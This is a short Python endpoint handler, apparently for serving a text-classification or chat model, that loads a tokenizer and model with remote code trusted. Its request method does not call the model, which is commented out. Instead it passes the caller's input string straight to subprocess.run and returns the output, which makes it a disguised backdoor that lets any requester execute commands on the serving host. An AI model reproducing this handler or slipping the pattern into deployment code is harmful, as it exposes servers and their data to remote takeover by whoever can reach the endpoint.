text_classification / handler.py
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import os
import subprocess
from typing import Dict, List, Any
from transformers import AutoTokenizer, AutoModel
class EndpointHandler:
def __init__(self, path=""):
print('path is' + path)
self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True)
self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda()
self.model = self.model.eval()
def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]:
"""
data args:
inputs (:obj: `str`)
Return:
A :obj:`list` | `dict`: will be serialized and returned
"""
# get inputs
inputs = data.pop("inputs", data)
result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
return [{'response': str(result)}]
# inputs = data.pop("inputs", data)
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
# return [{'response': response, 'history': history}]